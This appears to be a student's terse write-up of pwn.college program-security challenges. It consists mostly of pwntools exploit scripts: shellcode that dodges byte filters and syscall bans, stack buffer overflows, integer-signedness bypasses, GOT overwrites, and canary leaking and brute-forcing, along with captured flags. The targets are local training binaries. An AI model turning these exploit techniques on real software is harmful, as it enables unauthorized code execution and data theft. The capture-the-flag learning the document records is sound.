Welcome to back Program Security Program Security Shellcoding challenges ello ackers!
shellcode must be have no ‘H’
xor? ummm,no
we can use 32-bits shellcode which without 0x48,ok,we can’t
“mov rsi,rsp “ have 0x48
mov rsi , rsp =
push rsp
pop rsi
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 import os os.environ['PATH'] = '/usr/bin:/bin' os.environ['PWNLIB_NOTERM'] = '1' from pwn import * context.binary = '/challenge/ello-ackers' p = process('/challenge/ello-ackers') shellcode = asm(''' xor eax, eax push rax mov dword ptr [rsp], 0x616c662f mov byte ptr [rsp+4], 0x00000067 push rsp pop rdi xor esi, esi xor edx, edx mov eax, 2 syscall mov edi, eax push rsp pop rsi mov edx, 0x100 xor eax, eax syscall mov edx, eax mov edi, 1 push rsp pop rsi mov eax, 1 syscall mov eax, 60 xor edi, edi syscall ''') print(shellcode.hex()) #shellcode = bytes.fromhex(shellcode_hex) p.recvuntil(b'Reading 0x1000 bytes from stdin.') p.send(shellcode) out =b'' out += p.recv(timeout=2) #if b'pwn' in out : #break #print(out) print(out.decode(errors='ignore')) print('fuck') print(repr(out)) p.interactive()
last but not least
Syscall Smuggler ban system call?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 import os os.environ['PATH'] = '/usr/bin:/bin' os.environ['PWNLIB_NOTERM'] = '1' from pwn import * context.binary = '/challenge/syscall-smuggler' p = process('/challenge/syscall-smuggler') shellcode = asm(''' sub rsp, 0x600 mov byte ptr [rsp+0x500], 0x0f mov byte ptr [rsp+0x501], 0x05 mov byte ptr [rsp+0x502], 0xc3 lea rbp, [rsp+0x500] xor eax, eax push rax mov dword ptr [rsp], 0x616c662f mov byte ptr [rsp+4], 0x67 push rsp pop rdi xor esi, esi xor edx, edx mov eax, 2 call rbp mov edi, eax push rsp pop rsi mov edx, 0x100 xor eax, eax call rbp mov edx, eax mov edi, 1 push rsp pop rsi mov eax, 1 call rbp mov eax, 60 xor edi, edi call rbp ''') print(shellcode.hex()) #shellcode = bytes.fromhex(shellcode_hex) p.recvuntil(b'Reading 0x1000 bytes from stdin.') p.send(shellcode) out =b'' out += p.recv(timeout=2) #if b'pwn' in out : #break #print(out) print(out.decode(errors='ignore')) print('fuck') print(repr(out)) p.interactive()
Executing shellcode!
pwn.college{0n9X6BuBUNfXiWtDy98CYodCZOW.dFjMywSNzEDO0EzW}
Syscall Shenanigans 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 import os os.environ['PATH'] = '/usr/bin:/bin' os.environ['PWNLIB_NOTERM'] = '1' from pwn import * context.binary = '/challenge/syscall-shenanigans' p = process('/challenge/syscall-shenanigans') shellcode = asm(''' sub rsp, 0x600 mov byte ptr [rsp+0x500], 0x0f mov byte ptr [rsp+0x501], 0x05 mov byte ptr [rsp+0x502], 0xc3 lea rbp, [rsp+0x500] xor eax, eax push rax mov dword ptr [rsp], 0x616c662f mov byte ptr [rsp+4], 0x67 push rsp pop rdi xor esi, esi xor edx, edx mov eax, 2 call rbp mov edi, eax push rsp pop rsi mov edx, 0x100 xor eax, eax call rbp mov edx, eax mov edi, 1 push rsp pop rsi mov eax, 1 call rbp mov eax, 60 xor edi, edi call rbp ''') print(shellcode.hex()) #shellcode = bytes.fromhex(shellcode_hex) #p.recvuntil(b'Reading 0x1000 bytes from stdin.') p.send(shellcode) out =b'' out += p.recv(timeout=2) #if b'pwn' in out : #break #print(out) print(out.decode(errors='ignore')) print('fuck') print(repr(out)) p.interactive()
Executing shellcode!
pwn.college{AWqnDzRO-SIQzYyTYm30EtFp1Ue.dJjMywSNzEDO0EzW}
Byte Budget pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x2e0a9000 0x2e0aa000 rwxp 1000 0 [anon_2e0a9]
good
we only have 18byte ,so first read(0, 0x2e0a9000, 0x100) ,then jmp 0x2e0a9000
and inject shellcode
0x000062f6fde2c7b5 <+590>: call 0x62f6fde2c200 <mprotect@plt>
0x000062f6fde2c7ba <+595>: test eax,eax
0x000062f6fde2c7bc <+597>: je 0x62f6fde2c7dd <main+630>
bad
we have to do all in 18byte
6
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import os os.environ['PATH'] = '/usr/bin:/bin' os.environ['PWNLIB_NOTERM'] = '1' from pwn import * context.binary = '/challenge/byte-budget' p = process('/challenge/byte-budget') shellcode = asm(''' push 0x61 mov rdi,rsp push 4 pop rsi push 0x5a pop rax syscall ''') print(shellcode.hex()) #shellcode = bytes.fromhex(shellcode_hex) #p.recvuntil(b'Reading 0x1000 bytes from stdin.') p.send(shellcode) #p.recvuntil(b"Executing shellcode!") #p.send(shellcode1) out =b'' out += p.recv(timeout=2) #if b'pwn' in out : #break #print(out) print(out.decode(errors='ignore')) print('fuck') print(repr(out)) p.interactive()
ClobberCode This challenge modified your shellcode by overwriting every other 10 bytes with 0xcc. 0xcc, when interpreted as an instruction is an INT 3
we can inject nop and jmp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import os os.environ['PATH'] = '/usr/bin:/bin' os.environ['PWNLIB_NOTERM'] = '1' from pwn import * context.binary = '/challenge/clobbercode' p = process('/challenge/clobbercode') shellcode = asm(''' push 0x61 mov rdi,rsp push 4 pop rsi jmp next .rept 0xa nop .endr next: push 0x5a pop rax syscall ''') print(shellcode.hex()) #shellcode = bytes.fromhex(shellcode_hex) #p.recvuntil(b'Reading 0x1000 bytes from stdin.') p.send(shellcode) #p.recvuntil(b"Executing shellcode!") #p.send(shellcode1) out =b'' out += p.recv(timeout=2) #if b'pwn' in out : #break #print(out) print(out.decode(errors='ignore')) print('fuck') print(repr(out)) p.interactive()
Diverse Deilvery
b read ,rsi = 0
pwndbg> x/10wx 0x1b90c000
0x1b90c000: 0x00000000 0x00000000 0x00000000 0x00000000
0x1b90c010: 0x00000000 0x00000000 0x00000000 0x00000000
0x1b90c020: 0x00000000 0x00000000
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import os os.environ['PATH'] = '/usr/bin:/bin' os.environ['PWNLIB_NOTERM'] = '1' from pwn import * context.binary = '/challenge/diverse-delivery' p = process('/challenge/diverse-delivery') shellcode = asm(''' push 0x61 mov rdi,rsp mov bl,4 xor esi,ebx mov al,0x5a syscall ''') print(shellcode.hex()) #shellcode = bytes.fromhex(shellcode_hex) #p.recvuntil(b'Reading 0x1000 bytes from stdin.') p.send(shellcode) #p.recvuntil(b"Executing shellcode!") #p.send(shellcode1) out =b'' out += p.recv(timeout=2) #if b'pwn' in out : #break #print(out) print(out.decode(errors='ignore')) print('fuck') print(repr(out)) p.interactive()
hacker@program-securitydiverse-delivery:$ cat a
pwn.college{odvhbMJ9eSmWR8JDmiba-Mq6zkt.dhjMywSNzEDO0EzW}
Pocket Payload Reading 0xc bytes
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import os os.environ['PATH'] = '/usr/bin:/bin' os.environ['PWNLIB_NOTERM'] = '1' from pwn import * context.binary = '/challenge/pocket-payload' p = process('/challenge/pocket-payload') shellcode = asm(''' push 0x61 mov rdi, rsp xor esi, 0x4 mov al, 0x5a syscall ''') print(shellcode.hex()) #shellcode = bytes.fromhex(shellcode_hex) #p.recvuntil(b'Reading 0x1000 bytes from stdin.') p.send(shellcode) #p.recvuntil(b"Executing shellcode!") #p.send(shellcode1) out =b'' out += p.recv(timeout=2) #if b'pwn' in out : #break #print(out) print(out.decode(errors='ignore')) print('fuck') print(repr(out)) p.interactive()
hacker@program-securitypocket-payload:$ cat a
pwn.college{MzwxkZERllXUBKPr89SXDrMw0-A.dljMywSNzEDO0EzW}
Micro Menace
rax=0,read
after Executing shellcode
0x1b90c000 0x1b90d000 rwxp 1000 0 [anon_1b90c]
first read ,then inject
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import os os.environ['PATH'] = '/usr/bin:/bin' os.environ['PWNLIB_NOTERM'] = '1' from pwn import * context.binary = '/challenge/micro-menace' p = process('/challenge/micro-menace') shellcode = asm(''' xor edi, edi mov esi, edx syscall ''') shellcode1 = asm(''' .rept 0x6 nop .endr push 0x61 mov rdi, rsp xor esi, 0x4 mov al, 0x5a syscall ''') print(shellcode.hex()) #shellcode = bytes.fromhex(shellcode_hex) #p.recvuntil(b'Reading 0x1000 bytes from stdin.') p.send(shellcode) p.recvuntil(b"Executing shellcode!") p.send(shellcode1) out =b'' out += p.recv(timeout=2) #if b'pwn' in out : #break #print(out) print(out.decode(errors='ignore')) print('fuck') print(repr(out)) p.interactive()
Memory Corruption Challenges Login Leakage (Easy)
easy
check password and call win
we can overwrite the password and inject “ps\0”
we get the start of buffer
cmp the password
obviously,password is at rbp - 0x4f0 + 0x4d5
offset=0x4d5=1237
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import * p = process('/challenge/login-leakage-easy') out=p.recvuntil(b'Payload size:') offset = 1237 ps = b"A\x00" nop_len = offset - len(ps) nop = b"\x90" * nop_len payload = ps + nop + ps p.sendline(str(len(payload)).encode()) out+=p.recvuntil(b'Send your payload') p.send(payload) out += p.recvall(timeout=2) print(out.decode(errors='replace')) p.close()
Login Leakage (Hard)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import * p = process('/challenge/login-leakage-hard') out=p.recvuntil(b'Payload size:') offset = 0xe11 ps = b"A\x00" nop_len = offset - len(ps) nop = b"\x90" * nop_len payload = ps + nop + ps p.sendline(str(len(payload)).encode()) out+=p.recvuntil(b'Send your payload') p.send(payload) out += p.recvall(timeout=2) print(out.decode(errors='replace')) p.close()
Bounds Breaker (Easy)
well
send “-1”?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 In [12]: from pwn import * │by directly overflowing into the stored return address back to main, ...: │which is stored at 0x7fffebb65298, 136 bytes after the start of your input buffer. ...: p = process('/challenge/bounds-breaker-easy') │That means that you will need to input at least 144 bytes (115 to fill the buffer, ...: │21 to fill other stuff stored between the buffer and the return address, ...: out=p.recvuntil(b'Payload size:') │and 8 that will overwrite the return address). ...: offset = 0x88 │ ...: #ps = b"A\x00" │We have disabled the following standard memory corruption mitigations for this challenge: ...: nop_len = offset │- the canary is disabled, otherwise you would corrupt it before ...: nop = b"\x90" * nop_len │overwriting the return address, and the program would abort. ...: │- the binary is *not* position independent. This means that it will be ...: payload = nop +p64( 0x402424) │located at the same spot every time it is run, which means that by ...: │analyzing the binary (using objdump or reading this output), you can ...: p.sendline(b"-1") │know the exact value that you need to overwrite the return address with. ...: out+=p.recvuntil(b'Send your payload') │ ...: p.send(payload) │Payload size: 234234 ...: │This challenge is more careful: it will check to make sure you ...: out += p.recvall(timeout=2) │don't want to provide so much data that the input buffer will ...: │overflow. But recall twos compliment, look at how the check is ...: │implemented, and try to beat it! ...: print(out.decode(errors='replace')) │Provided size is too large! ...: p.close()
Bounds Breaker (Hard)
Casting Catastrophe (Easy)
easy
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 In [7]: from pwn import * ...: ...: p = process('/challenge/casting-catastrophe-easy') ...: ...: out=p.recvuntil(b'Number of payload records to send:') ...: offset = 0x38 ...: #ps = b"A\x00" ...: nop_len = offset ...: nop = b"\x90" * nop_len ...: ...: payload = nop +p64( 0x401edc) ...: ...: p.sendline(b"2147483647") ...: out+=p.recvuntil(b'Size of each payload record:') ...: p.sendline(b"2147483647") ...: out+=p.recvuntil(b'Send your payload') ...: p.send(payload) ...: ...: out += p.recvall(timeout=2) ...: ...: ...: print(out.decode(errors='replace')) ...: p.close()
Casting Catastrophe (Hard)
perfect
Pointer Problems (Easy) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 In [15]: from pwn import * ...: import re ...: p = process('/challenge/pointer-problems-easy') ...: ...: out=p.recvuntil(b'Payload size:') ...: flag_addr_match = re.search(br'flag\s+is\s+located\s+at\s+(0x[0-9a-f]+)', out) ...: if not flag_addr_match: ...: print("Failed to find flag address!") ...: exit(1) ...: ...: flag_addr = int(flag_addr_match.group(1), 16) ...: print(f"Flag address: {hex(flag_addr)}") ...: ...: offset = 56 ...: #ps = b"A\x00" ...: nop_len = offset ...: nop = b"\x90" * nop_len ...: #gdb.attach(p) ...: payload = nop +p64( flag_addr) ...: ...: p.sendline(b"999") ...: out+=p.recvuntil(b'Send your payload') ...: p.send(payload) ...: ...: out += p.recvall(timeout=2) ...: ...: ...: print(out.decode(errors='replace')) ...: p.close()
easy
Pointer Problems (Hard) back to easy
we find char*
buffer is at rbp-0x50
flag
return hard
flag is here
as the same , offset = 0x38
we can overwrite the low 2 byte
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 In [33]: from pwn import * ...: import re ...: p = process('/challenge/pointer-problems-hard') ...: ...: out=p.recvuntil(b'Payload size:') ...: ...: flag_addr = 0x5040 ...: ...: offset = 56 ...: #ps = b"A\x00" ...: nop_len = offset ...: nop = b"\x90" * nop_len ...: #gdb.attach(p) ...: #pause() ...: payload = nop +p16( flag_addr) ...: ...: p.sendline(b"999") ...: out+=p.recvuntil(b'Send your payload') ...: p.send(payload) ...: ...: out += p.recvall(timeout=2) ...: ...: ...: print(out.decode(errors='replace')) ...: p.close()
Anomalous Array (Easy)
each index is 8 byte
flag is in the stack
flag is at rbp - 0xb70
array is at rbp +0x12a*8 -0xb70 = rbp - 0x220
0x220 - 0xb70 = -2384
Anomalous Array (Hard)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 hex_strings = [ "6c6c6f632e6e7770", "6679496f7b656765", "70426433546a7278", "4170374964636778", "2e77544b34303376", "784f4463344e5630", "304f44457a4e5377", "a7d577a45" ] flag = "" for hex_str in hex_strings: if len(hex_str) < 16: hex_str = hex_str.zfill(16) bytes_data = bytes.fromhex(hex_str) reversed_bytes = bytes_data[::-1] for b in reversed_bytes: if 32 <= b <= 126: # 可打印ASCII范围 flag += chr(b) else: flag += "." print("Flag:", flag)
Now you got it (Easy) disass the challenge
we can find that ,offset = (got_function_addr - (bssdata + 8)) / 8 - 0x22
Now you got it (Hard) disass the challenge
we find that
the hacking number is at bssdata + (index + 0x1dc) * 8
so , array_base = bssdata + 0x1dc*8
index = (got_function_addr - array_base) / 8
we replace the puts
?????
After replace got.puts, the win call the puts at start and then return to win
so , we can replace win +20
pwn.college{wUhtQ9GveAmDSqCl2fhOSHa0cYI.01N4cDOxwSNzEDO0EzW}
Loop Lunacy (Easy) we can use “N” to pass canary
return to 0x22bf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 In [55]: from pwn import * ...: #for i in range(10): ...: p = process('/challenge/loop-lunacy-easy') ...: payload = b'' ...: ...: size = b'58' ...: out=p.recvuntil(b'Payload size:') ...: ...: p.sendline(size) ...: payload += b'a' * 36 +p8(55)+ p8(0xbf) +p8(0x62) ...: # payload += p64(0x4014c4) ...: ...: ...: p.sendlineafter('bytes)!', payload) ...: ...: out+=p.recvall(timeout = 2 ) ...: print(out.decode()) ...: ...: p.close()
Loop Lunacy (Hard)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 In [7]: from pwn import * ...: #for i in range(10): ...: while 1: ...: ...: ...: p = process('/challenge/loop-lunacy-hard') ...: payload = b'' ...: ...: size = b'122' ...: out=p.recvuntil(b'Payload size:') ...: ...: p.sendline(size) ...: payload += b'a' * 92 +p8(119)+ p8(0x02) +p8(0x6b) ...: # payload += p64(0x4014c4) ...: ...: ...: p.sendlineafter('bytes)!', payload) ...: ...: out+=p.recvall(timeout = 2 ) ...: #print(out.decode()) ...: if b'pwn' in out : ...: break ...: p.close() ...: ...: print(out.decode(errors='ignore'))
Nosy Neighbor (Easy) easy
Nosy Neighbor (Hard) 0x0000000000002151 <+97>: lea rax,[rbp-0x140]
0x0000000000002158 <+104>: add rax,0x2a
offset = 0x2a
Recursive Ruin (Easy)
call challenge ?
good
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 In [2]: from pwn import * ...: ...: ...: while 1: ...: try: ...: ...: p = process('/challenge/recursive-ruin-easy') ...: ...: ...: p.sendlineafter(b'Payload size:', b'137') ...: ...: payload_1 = b'A' * 130 + b'REPEAT' + b'A' ...: p.sendafter(b'bytes)!', payload_1) ...: ...: p.recvuntil(b'REPEAT') ...: p.recv(1) ...: canary_parts = p.recv(7) ...: canary = u64(b'\x00' + canary_parts) ...: log.success(f"Canary: {hex(canary)}") ...: ...: ...: win_low = 0x0c99 | (random.randint(0, 15) << 12) ...: ...: p.sendlineafter(b'Payload size:', b'160') ...: ...: ...: payload_1 = b'a' * 136 + p64(canary) + b'a' * 8 + p16(win_low) ...: p.sendafter(b'bytes)!', payload_1) ...: ...: out = p.recvall(timeout=2) ...: if b'pwn' in out: ...: print(out.decode(errors='ignore')) ...: break ...: ...: p.close() ...: except: ...: p.close() ...:
Recursive Ruin (Hard) easy
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 In [1]: from pwn import * ...: ...: ...: while 1: ...: try: ...: ...: p = process('/challenge/recursive-ruin-hard') ...: ...: ...: p.sendlineafter(b'Payload size:', b'137') ...: ...: payload_1 = b'A' * 18 + b'REPEAT' + b'A' ...: p.sendafter(b'bytes)!', payload_1) ...: ...: p.recvuntil(b'REPEAT') ...: p.recv(1) ...: canary_parts = p.recv(7) ...: canary = u64(b'\x00' + canary_parts) ...: log.success(f"Canary: {hex(canary)}") ...: ...: ...: win_low = 0x5c77 | (random.randint(0, 15) << 12) ...: ...: p.sendlineafter(b'Payload size:', b'160') ...: ...: ...: payload_1 = b'a' * 24 + p64(canary) + b'a' * 8 + p16(win_low) ...: p.sendafter(b'bytes)!', payload_1) ...: ...: out = p.recvall(timeout=2) ...: if b'pwn' in out: ...: print(out.decode(errors='ignore')) ...: break ...: ...: p.close() ...: except: ...: p.close()
Lingering Leftover (Easy)
easy
we can leak flag in memory
Lingering Leftover (Hard) 0x1d0-0x10c=196
Latent Leak (Easy)
where’s my canary???
6
we can find canary in buffer
back to challenge_function
gdb!
canary is here!
???
good
but we haven’t repeat , there is still canary in buffer
which function calling leaked canary at 0x7fff75aa62f8 ?
over
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 In [1]: from pwn import * ...: ...: ...: while True: ...: try: ...: p = process('/challenge/latent-leak-easy') ...: ...: p.sendlineafter(b'Payload size:', b'89') ...: p.sendafter(b'bytes)!', b'REPEAT' + b'a' * 83) ...: ...: p.recvuntil(b'You said: ' + b'REPEAT' + b'a' * 83) ...: canary = u64(b'\x00' + p.recv(7)) ...: log.info(f"Canary: {hex(canary)}") ...: ...: p.sendlineafter(b'Payload size:', b'999') ...: ...: payload = b'A' * 360 ...: payload += p64(canary) ...: payload += b'B' * 8 ...: payload += p16(0x6a3d) ...: ...: p.sendafter(b'bytes)!', payload) ...: ...: out = p.recvall(timeout=1) ...: if b'pwn' in out: ...: print(out.decode(errors='ignore')) ...: break ...: p.close() ...: except EOFError: ...: p.close() ...: continue
Latent Leak (Hard)
buffer_start is at rbp - 0x1d0 = 0x7ffce8e70290
offset = 0x7ffce8e70348 - 0x7ffce8e70290 = 184
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 In [1]: from pwn import * ...: ...: context.arch = 'amd64' ...: ...: while True: ...: try: ...: p = process('/challenge/latent-leak-hard') ...: ...: p.sendlineafter(b'Payload size:', b'185') ...: p.sendafter(b'bytes)!', b'REPEAT' + b'a' * 179) ...: ...: p.recvuntil(b'You said: ' + b'REPEAT' + b'a' * 179) ...: canary = u64(b'\x00' + p.recv(7)) ...: log.info(f"Canary: {hex(canary)}") ...: ...: p.sendlineafter(b'Payload size:', b'999') ...: ...: payload = b'A' * 456 ...: payload += p64(canary) ...: payload += b'B' * 8 ...: payload += p16(0x69fe) ...: ...: p.sendafter(b'bytes)!', payload) ...: ...: out = p.recvall(timeout=1) ...: if b'pwn' in out: ...: print(out.decode(errors='ignore')) ...: break ...: p.close() ...: except EOFError: ...: p.close() ...: continue
Fork Foolery (Easy)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 In [3]: from pwn import * ...: context.log_level = 'warn' ...: canary = b"\x00" ...: ...: for i in range(7): ...: for b in range(256): ...: try: ...: io = remote("127.0.0.1", 1337) ...: io.recvuntil(b"Payload size:") ...: io.sendline(b'999') ...: io.recvuntil(b'bytes)!') ...: ...: payload = b"A" * 40 + canary + bytes([b]) ...: io.send(payload) ...: ...: result = io.recvall(timeout=0.5) ...: ...: if b"stack smashing detected" not in result: ...: canary += bytes([b]) ...: print(f"找到第{i+2} 位: {hex(b)} ") ...: io.close() ...: break ...: io.close() ...: except: ...: continue ...: ...: print(f"Canary: {canary.hex()}") ...: ...: print("NEXT") ...: x= 0x01 ...: while True: ...: try: ...: io = remote("127.0.0.1", 1337) ...: io.recvuntil(b"Payload size:") ...: io.sendline(b'999') ...: io.recvuntil(b'bytes)!') ...: ...: payload = b"A" * 40 + canary + b"B" * 8 + p8(0x48) +p8(x) ...: ...: ...: io.send(payload) ...: x+=1 ...: out = io.recvrepeat(timeout=1) ...: ...: if b"pwn" in out : ...: ...: print(out.decode(errors='ignore')) ...: break ...: io.close() ...: except: ...: continue
Fork Foolery (Hard)
Complex Corruption Canary Conundrum (Easy)